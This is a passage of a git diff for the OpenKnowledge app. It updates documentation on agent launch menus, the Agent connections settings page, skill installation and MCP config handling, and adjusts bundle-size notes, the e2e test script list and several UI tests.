review the prompt, then press Enter to send it. A CLI the PATH probe reports absent is hidden until you turn it on in **Configure agents**. **External apps** comes last, listing the agent apps detected on this machine — **Claude Desktop**, **ChatGPT Desktop** (Codex's desktop app is branded ChatGPT), and **Cursor Desktop** — plus any you turned on in **Configure agents** (those route to the app's installer); selecting one launches it via its deep link and hands the work out of OpenKnowledge. Because the sections can carry the same brand name, the **Desktop** suffix is what tells a Terminal **Claude** (the CLI) apart from an External apps **Claude Desktop** (the app) on screen; screen readers additionally get "Claude CLI" as the Terminal row's accessible name. Each section renders only when it has something to launch, so on the web build, which has no docked terminal, the Terminal section is absent, and a saved CLI pick degrades to the same order the default follows: an In app agent when one is available, otherwise an external app. A **Configure agents** row is always last.+The menu is organized into three sections, in the order the default follows. **In app** leads: a row for each in-app agent you've enabled or that detection turned up, which opens the conversation in OpenKnowledge's Agents panel without leaving the app. **Terminal** (desktop app) follows: a row for every agent CLI OpenKnowledge can launch — **Claude**, **Codex**, **OpenCode**, **Cursor**, **GitHub Copilot**, **Pi**, **Antigravity**, **OpenClaw**, and **Hermes** — each running its own command in OpenKnowledge's [docked terminal](#terminal) with the same scoped prompt. On Windows, OpenKnowledge pastes that prompt without submitting it because a generic ConPTY readiness signal cannot safely identify the active input; review the prompt, then press Enter to send it. A CLI the PATH probe reports absent is hidden until you turn it on in **Agent connections**. **External apps** comes last, listing the agent apps detected on this machine — **Claude Desktop**, **ChatGPT Desktop** (Codex's desktop app is branded ChatGPT), and **Cursor Desktop** — plus any you turned on in **Agent connections** (those route to the app's installer); selecting one launches it via its deep link and hands the work out of OpenKnowledge. Because the sections can carry the same brand name, the **Desktop** suffix is what tells a Terminal **Claude** (the CLI) apart from an External apps **Claude Desktop** (the app) on screen; screen readers additionally get "Claude CLI" as the Terminal row's accessible name. Each section renders only when it has something to launch, so on the web build, which has no docked terminal, the Terminal section is absent, and a saved CLI pick degrades to the same order the default follows: an In app agent when one is available, otherwise an external app. A **Configure agents** row is always last.The empty-state create composer on a fresh project carries the same three-way split: its In app rows pick the in-app agent the **Create** button uses, its Terminal rows (desktop only, disabled until the workspace resolves) launch any of those CLIs with the brief you typed, and its External apps rows hand that brief to an agent app installed here.diff --git a/docs/content/features/skills.mdx b/docs/content/features/skills.mdxindex 95b0cf550..6f4cfd8e3 100644--- a/docs/content/features/skills.mdx+++ b/docs/content/features/skills.mdx@@ -97,7 +97,7 @@ A skill row's menu offers **Pin to top** to keep it above the groups. Pins folloOnly the discovery skill is offered at first launch. The first time you open Skills Studio, a short dialog explains the page and offers the authoring skill once, with the same disclosure as the install confirmation. **Not now** is remembered on this machine and the row underneath keeps the skill available; a skill you declined at setup is never re-offered.-**Project scope** (under This project) lists the project's own `open-knowledge` skill: how to use OpenKnowledge and its MCP tools. It lives in the project folder (`.claude/skills/`, `.cursor/skills/`, and the other project-local skill dirs), so it installs for everyone who opens the project. When it is missing, the page says so and offers **Install**.+**Project scope** (under This project) lists the project's own `open-knowledge` skill: how to use OpenKnowledge and its MCP tools. It lives in the project folder (`.claude/skills/`, `.cursor/skills/`, and the other project-local skill dirs), so once installed it is available to whoever opens the project in that editor. Those folders are not committed by default, so a teammate cloning the repo installs it themselves — OpenKnowledge no longer creates it for them on open. When it is missing, the page says so and offers **Install**.Both scopes end with **Share skills between AI tools**, the folders each AI tool reads skills from. **Link** points one folder at another so both tools see the same skills, and you add a skill once instead of copying it into every tool. **unlink** turns a folder back into a real directory holding a per-skill symlink for each skill it currently sees, so nothing stops working and each skill's install menu manages it from there. **Add custom path** (`~/.myteam/skills`, `.myteam/skills`) includes a folder OpenKnowledge does not detect on its own. Linking refuses when the two folders hold different versions of the same skill, or when the target holds entries that are not skills; a folder that something outside OpenKnowledge changed is shown as it is on disk, and your next Link / unlink wins.diff --git a/docs/content/reference/what-open-knowledge-writes.mdx b/docs/content/reference/what-open-knowledge-writes.mdxindex e0b5ba192..93454b46d 100644--- a/docs/content/reference/what-open-knowledge-writes.mdx+++ b/docs/content/reference/what-open-knowledge-writes.mdx@@ -89,7 +89,7 @@ Both are **consent-gated**, but at different moments. Declining `open-knowledge-### Setting up a project-When you initialize or open a project, the app scaffolds the same project files the CLI's `ok init` creates, and registers the `open-knowledge` MCP server with the AI editors it detects. The MCP registration is **surgical** — it adds only its own entry and leaves your other settings, comments, and formatting byte-for-byte intact.+When you initialize or open a project, the app scaffolds the same project files the CLI's `ok init` creates, and registers the `open-knowledge` MCP server with the AI editors it detects. The MCP registration is **surgical** — it touches only its own entry and leaves your other settings, comments, and formatting byte-for-byte intact. "Its own entry" means the one named `open-knowledge`; if that name is already taken by something OpenKnowledge does not recognize, see [Opt-outs in one place](#opt-outs-in-one-place).| Path | What it is | Scope || --- | --- | --- |@@ -127,7 +127,9 @@ The app runs a collaboration server for the open project. It writes runtime statDiagnostic logs and telemetry are **on by default but local-only** — credential-bearing attributes are redacted (`[REDACTED]`) before anything is written, the files rotate at the size caps above, and nothing leaves the machine until you explicitly run `ok diagnose bundle`. Turn the local sink off with `telemetry.localSink.enabled: false`; see [Configuration](./configuration.mdx).-On each launch and project open, the app also runs **repair sweeps**: it rewrites *existing* `open-knowledge` MCP entries (in the editor configs above) to the current canonical form, and **seeds** the built-in OpenKnowledge skill bundles (`open-knowledge-discovery` and `open-knowledge-write-skill`, in `~/.agents/skills/` and each detected editor's `~/.claude/skills/`, `~/.cursor/skills/`, `~/.codex/skills/`, `~/.opencode/skills/`, `~/.lmstudio/skills/`) **only when they are missing and you previously installed them** — a bundle you never installed or declined is not seeded, and an existing copy is left untouched (updates to a built-in flow through the skills.sh "update available" path, never a force-refresh). It also removes any stale `open-knowledge-ui` entry left in `.claude/launch.json` by an older OK version. It **never adds** an MCP entry to an editor that doesn't already have one. Same `OK_RECLAIM_DISABLE=1` opt-out.+On each launch and project open, the app also runs **repair sweeps**: it rewrites *existing* `open-knowledge` MCP entries (in the editor configs above) to the current canonical form, and removes any stale `open-knowledge-ui` entry left in `.claude/launch.json` by an older OK version. It **never adds** an MCP entry to an editor that doesn't already have one. Same `OK_RECLAIM_DISABLE=1` opt-out.++**Skills are never installed by a sweep.** OpenKnowledge writes a skill only when you ask for one — the first-launch setup dialog, the Settings toggles, Skills Studio, or `ok init`. A launch does two housekeeping passes over skills and writes nothing new: it removes superseded pre-split `open-knowledge` copies OpenKnowledge itself left in your agent folders, and it removes a bundle you switched off that is still on disk.### Home directory and credentials (`~/.ok/`)@@ -167,7 +169,7 @@ Installing `@inkeep/open-knowledge` from npm (or invoking it with `npx`) drops t### `ok init`-`ok init` turns a folder into an OpenKnowledge project. It scaffolds the project's `.ok/` directory, and — unless you pass `--no-mcp` — registers the `open-knowledge` MCP server with the AI editors it detects. The MCP registration is **surgical**: it adds only its own entry and leaves your other settings, comments, and formatting byte-for-byte intact (if a config can't be parsed safely, it's left untouched and reported).+`ok init` turns a folder into an OpenKnowledge project. It scaffolds the project's `.ok/` directory, and — unless you pass `--no-mcp` — registers the `open-knowledge` MCP server with the AI editors it detects. The MCP registration is **surgical**: it touches only the entry named `open-knowledge` and leaves your other settings, comments, and formatting byte-for-byte intact (if a config can't be parsed safely, it's left untouched and reported).| Path | What it is | Scope || --- | --- | --- |@@ -248,10 +250,9 @@ On each boot, `ok start` also runs **repair sweeps**: it re-checks a few things| What it re-checks | Where | Scope || --- | --- | --- || Existing `open-knowledge` MCP entries | The same editor configs `ok init` writes — **both** user-level (`~/.claude.json`, `~/.cursor/mcp.json`, …) and project-level | Outside-project (editor config) **and** in-project |-| OpenKnowledge skill bundles (`open-knowledge-discovery`, `open-knowledge-write-skill`) | Project (`.claude/skills/…`) and user-global — `~/.agents/skills/` plus each detected editor's `~/.claude/skills/`, `~/.cursor/skills/`, `~/.codex/skills/`, `~/.opencode/skills/`, `~/.lmstudio/skills/` | In-project **and** outside-project (home dir) || Stale `open-knowledge-ui` entry in `.claude/launch.json` | Project | Removed if present — OK no longer writes launch.json |-Disable all three with `OK_RECLAIM_DISABLE=1`.+Disable both with `OK_RECLAIM_DISABLE=1`. `ok start` does not touch skill files; `ok repair-skills` is the explicit command for that.### `ok mcp`@@ -292,7 +293,9 @@ Disable all three with `OK_RECLAIM_DISABLE=1`.To review the footprint after the fact, `ok diagnose` reports what's on disk (and the desktop `path-install.json` records exactly which shell/`PATH` changes were made). To reverse it, `ok deinit` removes OpenKnowledge from one project and `ok uninstall` removes it from the whole machine — both keep your markdown content, and your global skills in your editors' skill dirs (`~/.agents/skills`, `~/.claude/skills`, and the like) are never touched, and both take `--dry-run` to preview. See the [CLI reference](./cli.mdx) for the full semantics.-In the desktop app you don't need the CLI for finer control, and the split follows what each thing is. **Settings → AI tools & CLI** (under User) lists the *connections* OpenKnowledge manages — each editor's `open-knowledge` MCP entry and the `ok` PATH command — with a checkbox reflecting live installed state; toggling a row installs or removes just that component. **Settings → This project → AI tools** does the same for the open project's project-scoped MCP configs. *Skills* live on their own page at both scopes: **Settings → Skills Studio** carries the skills OpenKnowledge ships (user scope) or the project's own skill (project scope), each with an explicit Install/Uninstall button behind a confirmation naming every path it touches, plus the folders your AI tools read skills from. Removal keeps the same guest discipline as install: only entries OpenKnowledge recognizably wrote are removed, and anything you customized is left intact.+In the desktop app you don't need the CLI for finer control, and the split follows what each thing is. **Settings → Agent connections** lists every agent OpenKnowledge can wire up, grouped by how you reach it — In app, Terminal, External apps. Each row says whether OpenKnowledge can reach that agent's tools and offers the one action that fits: **Add MCP & skill** when nothing is set up, **Manage** when something is, and **Remove** when files are still on disk for a tool you have turned off or uninstalled. A tool that is not on this machine offers **Install** instead, or **How to set up** when OpenKnowledge has no download link for it; neither writes anything. Both scopes are chosen in the same place: the dialog behind those actions groups what it writes under *This project* and *This machine*, so a project-scoped MCP config and a user-global one sit side by side, each naming the file it touches. *Skills* live on their own page at both scopes: **Settings → Skills Studio** carries the skills OpenKnowledge ships (user scope) or the project's own skill (project scope), each with an explicit Install/Uninstall button behind a confirmation naming every path it touches, plus the folders your AI tools read skills from. Removal keeps the guest discipline you would expect: only entries OpenKnowledge recognizably wrote are removed, and anything you customized is left intact.++One case works differently, and it is the only place OpenKnowledge replaces something it did not write. If the entry named `open-knowledge` is there but OpenKnowledge does not recognize it, because you edited it by hand or another tool claimed the name, that row is offered as an overwrite rather than left dead. It opens unticked with a warning naming the file, so nothing happens until you ask for it, and ticking it replaces that one entry outright rather than merging into it. Other servers in the file are untouched. This is offered only where the config is JSON; for Codex, Hermes, and Pi the entry is left alone, because on those formats OpenKnowledge merges its own keys into an existing entry instead of replacing it, and a merge would leave part of the entry you edited attached to a server OpenKnowledge starts. Removal never takes an unrecognized entry away, in any format.## What leaves your machinediff --git a/packages/app/BUNDLE-SIZE.md b/packages/app/BUNDLE-SIZE.mdindex 31a69add2..119578384 100644--- a/packages/app/BUNDLE-SIZE.md+++ b/packages/app/BUNDLE-SIZE.md@@ -88,3 +88,6 @@ Transitive additions worth attributing: `@pierre/[email protected]`, `@pierre/theming@Combined-chunks 8.4->8.8 MB for the `@excalidraw/excalidraw` bump to `0.18.0-abeeaeb`, the release-branch snapshot that carries the stroke Pressure setting. Measured against the merged tree: 8,588,202 B locally, ~8.71 MB projected in CI at the ~1.4% local->CI ratio, roughly 190 kB over the 8.4 ceiling. An intermediate 8.65 was set first and would have landed red — it clears the local number but not the projection, which is the reason this file records the ratio at all. The snapshot is about 99 upstream commits ahead of `0.18.1`, and the delta is not attributed here. It is not new third-party weight: `@excalidraw/[email protected]`, which the constant-width renderer draws through, was already a declared dependency of `0.18.1`, so the Pressure work adds first-party renderer code rather than a library. Ninety-nine commits is a wide enough window that pinning the bytes on any one of them would need a per-commit build, which was not run.The eager budgets did not move. The main app bundle measures 437.95 kB against its 487 kB limit and CSS 8.36 kB against 59 kB, because both surfaces that load a board — the standalone `.excalidraw` editor and the in-document snapshot embed — still reach the package through a dynamic import. Nobody downloads any of this unless they open a board. **Reclamation lever:** none worth taking here; the weight is upstream's own renderer and the chunk is already gated behind the two board surfaces. Headroom at the new ceiling is ~90 kB against the CI projection, in line with the margins above.+Combined-chunks 6.55->6.56 MB for the merged agents settings page. CI measured 6,550,218 B, 218 B over the prior ceiling, while the main app bundle stayed at 438.42 kB against its 487 kB limit and CSS at 8.36 kB against 59 kB — so the growth is chunk inventory rather than eager weight. Base-vs-branch was measured rather than assumed: `feat/agent-integration-requirements-matrix` builds under the prior ceiling and this branch does not, so the increase is this branch's and not inherited headroom loss. It splits into the page itself (~2.4 kB gzipped) and its new strings across the twelve locale catalogs (~4.1 kB, consistent with the per-catalog costs recorded above), with the remainder chunk reshuffle. Note the 218 B is a CI measurement, not a local one, so the ~9 kB the new ceiling adds is real headroom rather than variance cover. Raising was taken over trimming copy the page needs; the lazy-load levers above remain the reclamation path.++Combined-chunks 6.56->6.57 MB while hiding connection options an agent has no surface for. The branch's own contribution is small and the ceiling was already breached without it: measured base-vs-branch on one machine at merge base `3372c64`, `feat/agent-integration-requirements-matrix` alone builds to 6,564,728 B — 4.73 kB *over* the 6.56 MB ceiling it ships with — while this branch builds under 6.57 MB. So the raise carries growth that arrived on the base (the merged agents-settings work plus its new strings across the twelve locale catalogs), not primarily this branch's dialog change. CI measured this branch at 6,560,777 B before review cleanups and 6,560,730 B after, against the prior 6,560,000 B ceiling. The main app bundle is byte-identical between base and branch at 438.68 kB against its 487 kB limit, and CSS at 8.36 kB against 59 kB, so the growth is chunk inventory rather than eager weight. Recording the base measurement explicitly because the earlier note on this branch asserted the overage was the branch's own — that was inferred from it being the only app-code change, not measured, and the measurement contradicts it. The lazy-load levers above remain the reclamation path, and the base being over its own ceiling is worth an owner independent of this branch.diff --git a/packages/app/package.json b/packages/app/package.jsonindex f2890f5e6..d9c29cde3 100644--- a/packages/app/package.json+++ b/packages/app/package.json@@ -29,7 +29,7 @@"measure:stress": "bash scripts/measure-stress.sh","measure:sweep": "bash scripts/measure-sweep.sh","perf:compare": "bash scripts/perf-compare.sh",- "test:e2e": "playwright test tests/stress/ux-interactions.e2e.ts tests/stress/file-tree-create.e2e.ts tests/stress/file-tree-drag-to-root.e2e.ts tests/stress/file-tree-deselect-to-root.e2e.ts tests/stress/file-tree-collapse-spaced-folder.e2e.ts tests/stress/sidebar-file-list-fills.e2e.ts tests/stress/file-tree-sticky-collapse.e2e.ts tests/stress/file-tree-collapse-persistence.e2e.ts tests/stress/file-tree-fractional-zoom.e2e.ts tests/stress/create-then-rename-editable.e2e.ts tests/stress/find-replace.e2e.ts tests/stress/editor-tabs.e2e.ts tests/stress/crdt-stress.e2e.ts tests/stress/slash-command.e2e.ts tests/stress/paste-fidelity.e2e.ts tests/stress/fr-7a-disconnect-source-mode.e2e.ts tests/stress/docs-open.e2e.ts tests/stress/frozen-table-headers.e2e.ts tests/stress/asset-embed.e2e.ts tests/stress/asset-embed-advanced.e2e.ts tests/stress/asset-click-dispatch.e2e.ts tests/stress/handoff.e2e.ts tests/stress/multi-agent-presence.e2e.ts tests/stress/editor-mode-persistence.e2e.ts tests/stress/lint-config-toggle.e2e.ts tests/stress/plugin-enable-notice.e2e.ts tests/stress/schema-edit-fields-view.e2e.ts tests/stress/sidebar-search-pill.e2e.ts tests/stress/navigation-history.e2e.ts tests/stress/command-palette-semantic.e2e.ts tests/stress/agent-activity-panel.e2e.ts tests/stress/drop-pipeline-auto-open.e2e.ts tests/stress/command-palette-flicker.e2e.ts tests/stress/cm6-list-hanging-indent.e2e.ts tests/stress/ng7-rapid-nav-coherence.e2e.ts tests/stress/reveal-on-activate.e2e.ts tests/stress/selection-indicator.e2e.ts tests/stress/new-file-cross-doc-bleed.e2e.ts tests/stress/new-item-shortcut-fast-path.e2e.ts tests/stress/editor-mode-flip-cross-doc-bleed.e2e.ts tests/stress/editor-area-viewport-resize.e2e.ts tests/stress/qa-sidebar-responsive.e2e.ts tests/stress/prd-6955-reassertion-repro.e2e.ts tests/stress/prd-6955-reassertion-wedge.e2e.ts tests/stress/prd-6914-repro.e2e.ts tests/stress/showall-lazy-tree.e2e.ts tests/stress/tabs-component-strip.e2e.ts tests/stress/source-find-scroll.e2e.ts tests/stress/harness-app-warmth.e2e.ts tests/stress/qa-canary-authoring-both-modes.e2e.ts tests/stress/qa-canary-live-typing.e2e.ts tests/stress/keystroke-cadence-danger-space.e2e.ts tests/stress/jsx-unregistered-backspace-delete.e2e.ts tests/stress/jsx-unregistered-ime-concurrent.e2e.ts tests/stress/jsx-backspace-delete.e2e.ts tests/stress/link-authoring-bytes.e2e.ts tests/stress/link-authoring-apex.e2e.ts tests/stress/command-palette-parity.e2e.ts tests/stress/settings-search.e2e.ts tests/stress/okf-generated-index-settings.e2e.ts tests/stress/okf-recommended-skill-install.e2e.ts tests/stress/chip-popover-positioning.e2e.ts tests/stress/docs-open-scroll-restore.e2e.ts tests/stress/file-tree-decoration-chip-strip-repro.e2e.ts tests/stress/grip-click-nodeselect.e2e.ts tests/stress/jsx-halo-semantics.e2e.ts tests/stress/jsx-image-body-click.e2e.ts tests/stress/jsx-prop-panel-placeholder.e2e.ts tests/stress/jsx-range-encompass-halo.e2e.ts tests/stress/jsx-wildcard-convert.e2e.ts tests/stress/markdown-lint.e2e.ts tests/stress/frontmatter-schema-badge.e2e.ts tests/stress/frontmatter-glob-picker.e2e.ts tests/stress/unified-problems.e2e.ts tests/stress/mid-type-recovery.e2e.ts tests/stress/observer-a-multi-client.e2e.ts tests/stress/outline-toolbar-occlusion.e2e.ts tests/stress/selection-surface-pane-clip.e2e.ts tests/stress/quiet-tree-hidden-doc.e2e.ts tests/stress/raw-mdx-fallback-onblur-upgrade.e2e.ts tests/stress/rename-noext-probe.e2e.ts tests/stress/show-ok-folders.e2e.ts tests/stress/source-polish.e2e.ts tests/stress/warm-skeleton-scroll-restore.e2e.ts tests/stress/props-toggle-scroll-preserve.e2e.ts tests/stress/yjs-no-dual-import.e2e.ts tests/stress/graph-panel-surfaces.e2e.ts tests/stress/asset-embed-real-fidelity.e2e.ts tests/stress/image-invalid-placeholder.e2e.ts tests/stress/local-target-audit.e2e.ts tests/stress/rename-content-preservation.e2e.ts tests/stress/rename-consolidation.e2e.ts tests/stress/outline-active-heading.e2e.ts tests/stress/outline-navigation.e2e.ts tests/stress/prd-7627-default-swatch.e2e.ts tests/stress/clipboard-dollar-math-source-fallback.e2e.ts tests/stress/source-mode-undo-keymap.e2e.ts tests/stress/source-undo-mode-flip.e2e.ts tests/stress/timeline-recovered-restore.e2e.ts tests/stress/blank-line-preservation.e2e.ts tests/stress/landing-helpers.e2e.ts tests/stress/agent-follow-scroll.e2e.ts tests/stress/mode-switch-landing.e2e.ts tests/stress/mode-switch-ordinal-divergence.e2e.ts tests/stress/comment-annotation-visibility.e2e.ts tests/stress/comment-opens-in-panel.e2e.ts tests/stress/qa-miles-edge-blanks.e2e.ts tests/stress/prop-upload.e2e.ts tests/stress/slash-command-auto-open.e2e.ts tests/stress/clipboard-relative-url-source-fallback.e2e.ts tests/stress/editor-split-view.e2e.ts tests/stress/language-load-failure.e2e.ts tests/stress/language-first-paint.e2e.ts tests/stress/user-text-direction.e2e.ts tests/stress/pseudolocale.e2e.ts tests/stress/language-picker.e2e.ts tests/stress/zh-hans-coverage-sweep.e2e.ts tests/stress/preview-tab-promotion.e2e.ts tests/stress/cv-paint-lock-click.e2e.ts tests/stress/cv-auto-paint-lock-click.e2e.ts tests/stress/history-traversal-preview-tab.e2e.ts tests/stress/tab-close-scroll-restore.e2e.ts tests/stress/skills-sidebar-open.e2e.ts tests/stress/trailing-affordance.e2e.ts tests/stress/text-doc-composer-inset.e2e.ts",+ "test:e2e": "playwright test tests/stress/ux-interactions.e2e.ts tests/stress/file-tree-create.e2e.ts tests/stress/file-tree-drag-to-root.e2e.ts tests/stress/file-tree-deselect-to-root.e2e.ts tests/stress/file-tree-collapse-spaced-folder.e2e.ts tests/stress/sidebar-file-list-fills.e2e.ts tests/stress/file-tree-sticky-collapse.e2e.ts tests/stress/file-tree-collapse-persistence.e2e.ts tests/stress/file-tree-fractional-zoom.e2e.ts tests/stress/create-then-rename-editable.e2e.ts tests/stress/find-replace.e2e.ts tests/stress/editor-tabs.e2e.ts tests/stress/crdt-stress.e2e.ts tests/stress/slash-command.e2e.ts tests/stress/paste-fidelity.e2e.ts tests/stress/fr-7a-disconnect-source-mode.e2e.ts tests/stress/docs-open.e2e.ts tests/stress/frozen-table-headers.e2e.ts tests/stress/asset-embed.e2e.ts tests/stress/asset-embed-advanced.e2e.ts tests/stress/asset-click-dispatch.e2e.ts tests/stress/handoff.e2e.ts tests/stress/multi-agent-presence.e2e.ts tests/stress/editor-mode-persistence.e2e.ts tests/stress/lint-config-toggle.e2e.ts tests/stress/plugin-enable-notice.e2e.ts tests/stress/schema-edit-fields-view.e2e.ts tests/stress/sidebar-search-pill.e2e.ts tests/stress/navigation-history.e2e.ts tests/stress/command-palette-semantic.e2e.ts tests/stress/agent-activity-panel.e2e.ts tests/stress/drop-pipeline-auto-open.e2e.ts tests/stress/command-palette-flicker.e2e.ts tests/stress/cm6-list-hanging-indent.e2e.ts tests/stress/ng7-rapid-nav-coherence.e2e.ts tests/stress/reveal-on-activate.e2e.ts tests/stress/selection-indicator.e2e.ts tests/stress/new-file-cross-doc-bleed.e2e.ts tests/stress/new-item-shortcut-fast-path.e2e.ts tests/stress/editor-mode-flip-cross-doc-bleed.e2e.ts tests/stress/editor-area-viewport-resize.e2e.ts tests/stress/qa-sidebar-responsive.e2e.ts tests/stress/prd-6955-reassertion-repro.e2e.ts tests/stress/prd-6955-reassertion-wedge.e2e.ts tests/stress/prd-6914-repro.e2e.ts tests/stress/showall-lazy-tree.e2e.ts tests/stress/tabs-component-strip.e2e.ts tests/stress/source-find-scroll.e2e.ts tests/stress/harness-app-warmth.e2e.ts tests/stress/qa-canary-authoring-both-modes.e2e.ts tests/stress/qa-canary-live-typing.e2e.ts tests/stress/keystroke-cadence-danger-space.e2e.ts tests/stress/jsx-unregistered-backspace-delete.e2e.ts tests/stress/jsx-unregistered-ime-concurrent.e2e.ts tests/stress/jsx-backspace-delete.e2e.ts tests/stress/link-authoring-bytes.e2e.ts tests/stress/link-authoring-apex.e2e.ts tests/stress/command-palette-parity.e2e.ts tests/stress/settings-search.e2e.ts tests/stress/okf-generated-index-settings.e2e.ts tests/stress/okf-recommended-skill-install.e2e.ts tests/stress/chip-popover-positioning.e2e.ts tests/stress/docs-open-scroll-restore.e2e.ts tests/stress/file-tree-decoration-chip-strip-repro.e2e.ts tests/stress/grip-click-nodeselect.e2e.ts tests/stress/jsx-halo-semantics.e2e.ts tests/stress/jsx-image-body-click.e2e.ts tests/stress/jsx-prop-panel-placeholder.e2e.ts tests/stress/jsx-range-encompass-halo.e2e.ts tests/stress/jsx-wildcard-convert.e2e.ts tests/stress/markdown-lint.e2e.ts tests/stress/frontmatter-schema-badge.e2e.ts tests/stress/frontmatter-glob-picker.e2e.ts tests/stress/unified-problems.e2e.ts tests/stress/mid-type-recovery.e2e.ts tests/stress/observer-a-multi-client.e2e.ts tests/stress/outline-toolbar-occlusion.e2e.ts tests/stress/selection-surface-pane-clip.e2e.ts tests/stress/quiet-tree-hidden-doc.e2e.ts tests/stress/raw-mdx-fallback-onblur-upgrade.e2e.ts tests/stress/rename-noext-probe.e2e.ts tests/stress/show-ok-folders.e2e.ts tests/stress/source-polish.e2e.ts tests/stress/warm-skeleton-scroll-restore.e2e.ts tests/stress/props-toggle-scroll-preserve.e2e.ts tests/stress/yjs-no-dual-import.e2e.ts tests/stress/graph-panel-surfaces.e2e.ts tests/stress/asset-embed-real-fidelity.e2e.ts tests/stress/image-invalid-placeholder.e2e.ts tests/stress/local-target-audit.e2e.ts tests/stress/rename-content-preservation.e2e.ts tests/stress/rename-consolidation.e2e.ts tests/stress/outline-active-heading.e2e.ts tests/stress/outline-navigation.e2e.ts tests/stress/prd-7627-default-swatch.e2e.ts tests/stress/clipboard-dollar-math-source-fallback.e2e.ts tests/stress/source-mode-undo-keymap.e2e.ts tests/stress/source-undo-mode-flip.e2e.ts tests/stress/timeline-recovered-restore.e2e.ts tests/stress/blank-line-preservation.e2e.ts tests/stress/landing-helpers.e2e.ts tests/stress/agent-follow-scroll.e2e.ts tests/stress/mode-switch-landing.e2e.ts tests/stress/mode-switch-ordinal-divergence.e2e.ts tests/stress/comment-annotation-visibility.e2e.ts tests/stress/comment-opens-in-panel.e2e.ts tests/stress/qa-miles-edge-blanks.e2e.ts tests/stress/prop-upload.e2e.ts tests/stress/slash-command-auto-open.e2e.ts tests/stress/clipboard-relative-url-source-fallback.e2e.ts tests/stress/editor-split-view.e2e.ts tests/stress/language-load-failure.e2e.ts tests/stress/language-first-paint.e2e.ts tests/stress/user-text-direction.e2e.ts tests/stress/pseudolocale.e2e.ts tests/stress/language-picker.e2e.ts tests/stress/zh-hans-coverage-sweep.e2e.ts tests/stress/preview-tab-promotion.e2e.ts tests/stress/cv-paint-lock-click.e2e.ts tests/stress/cv-auto-paint-lock-click.e2e.ts tests/stress/history-traversal-preview-tab.e2e.ts tests/stress/tab-close-scroll-restore.e2e.ts tests/stress/skills-sidebar-open.e2e.ts tests/stress/trailing-affordance.e2e.ts tests/stress/text-doc-composer-inset.e2e.ts tests/stress/agents-settings-accessible-names.e2e.ts","test:e2e:install-browsers": "playwright install chromium webkit firefox","test:visual": "playwright test --config playwright.visual.config.ts","test:visual:update": "playwright test --config playwright.visual.config.ts --update-snapshots",diff --git a/packages/app/src/components/BottomComposer.dom.test.tsx b/packages/app/src/components/BottomComposer.dom.test.tsxindex 7467a4cae..231f8e0dd 100644--- a/packages/app/src/components/BottomComposer.dom.test.tsx+++ b/packages/app/src/components/BottomComposer.dom.test.tsx@@ -636,7 +636,7 @@ describe('BottomComposer (dispatch + picker + sticky default)', () => {await user.click(screen.getByTestId('ask-ai-agent-trigger'));await user.click(await screen.findByTestId('ask-ai-agent-option-settings'));- expect(window.location.hash).toBe('#settings/configure-agents');+ expect(window.location.hash).toBe('#settings/agent-connections');expect(startThreadCalls).toHaveLength(0);expect(dispatchCalls).toHaveLength(0);});diff --git a/packages/app/src/components/ClaudeReadinessBanner.dom.test.tsx b/packages/app/src/components/ClaudeReadinessBanner.dom.test.tsxindex 2372f8c8e..4a22f2777 100644--- a/packages/app/src/components/ClaudeReadinessBanner.dom.test.tsx+++ b/packages/app/src/components/ClaudeReadinessBanner.dom.test.tsx@@ -97,6 +97,45 @@ describe('ClaudeReadinessBanner', () => {expect(screen.queryByRole('status')).toBeNull();});+ test('a project-local-only MCP entry renders nothing (the tools ARE connected)', () => {+ const { bridge } = makeBridge();+ const { container } = render(+ <ClaudeReadinessBanner+ readiness={{+ claude: 'present',+ mcp: 'wired',+ mcpScopes: { global: false, project: true },+ mcpPreApprovable: true,+ }}+ bridge={bridge}+ onDismiss={() => {}}+ />,+ );+ expect(container.firstChild).toBeNull();+ });++ test('neither scope wired still nudges, and its action re-arms wiring', async () => {+ const { bridge, rewireClaudeMcp } = makeBridge();+ render(+ <ClaudeReadinessBanner+ readiness={{+ claude: 'present',+ mcp: 'needs-rewire',+ mcpScopes: { global: false, project: false },+ mcpPreApprovable: false,+ }}+ bridge={bridge}+ onDismiss={() => {}}+ />,+ );++ expect(screen.getByText(/tools aren't connected/)).toBeTruthy();+ await act(async () => {+ fireEvent.click(screen.getByRole('button', { name: 'Connect tools' }));+ });+ expect(rewireClaudeMcp).toHaveBeenCalledTimes(1);+ });+test('unknown probe verdict renders nothing (no false "not installed")', () => {const { bridge } = makeBridge();const { container } = render(diff --git a/packages/app/src/components/SessionsHost.agents.dom.test.tsx b/packages/app/src/components/SessionsHost.agents.dom.test.tsxindex 79e0b143a..09bcef305 100644--- a/packages/app/src/components/SessionsHost.agents.dom.test.tsx+++ b/packages/app/src/components/SessionsHost.agents.dom.test.tsx@@ -269,7 +269,7 @@ describe('SessionsHost — agents panel (web / no bridge)', () => {await user.click(button);expect(launchAgentThread).not.toHaveBeenCalled();- expect(window.location.hash).toBe('#settings/configure-agents');+ expect(window.location.hash).toBe('#settings/agent-connections');});test('the tab list mirrors the store: add + remove', async () => {@@ -647,7 +647,7 @@ describe('SessionsHost — agents panel (web / no bridge)', () => {});expect(launchAgentThread).not.toHaveBeenCalled();- expect(window.location.hash).toBe('#settings/configure-agents');+ expect(window.location.hash).toBe('#settings/agent-connections');});});@@ -683,7 +683,7 @@ describe('SessionsHost — agents panel (web / no bridge)', () => {render(<Harness threadLaunch={sentinelLaunch(1)} />);expect(launchAgentThread).not.toHaveBeenCalled();- expect(window.location.hash).toBe('#settings/configure-agents');+ expect(window.location.hash).toBe('#settings/agent-connections');});test('an agent the user disabled is never what a pickerless launch leads with', () => {@@ -693,7 +693,7 @@ describe('SessionsHost — agents panel (web / no bridge)', () => {render(<Harness threadLaunch={sentinelLaunch(1)} />);expect(launchAgentThread).not.toHaveBeenCalled();- expect(window.location.hash).toBe('#settings/configure-agents');+ expect(window.location.hash).toBe('#settings/agent-connections');});test('an agent with no launchable build on this host is not what a launch leads with', () => {@@ -707,7 +707,7 @@ describe('SessionsHost — agents panel (web / no bridge)', () => {render(<Harness threadLaunch={sentinelLaunch(1)} />);expect(launchAgentThread).not.toHaveBeenCalled();- expect(window.location.hash).toBe('#settings/configure-agents');+ expect(window.location.hash).toBe('#settings/agent-connections');});test('an explicitly persisted default still wins over the presented agent', () => {@@ -728,7 +728,7 @@ describe('SessionsHost — agents panel (web / no bridge)', () => {render(<Harness threadLaunch={sentinelLaunch(1)} control={control} />);expect(launchAgentThread).not.toHaveBeenCalled();- expect(window.location.hash).toBe('#settings/configure-agents');+ expect(window.location.hash).toBe('#settings/agent-connections');mockRegisteredAgent = { source: 'registry', id: 'claude-acp', name: 'Claude Agent' };act(() => 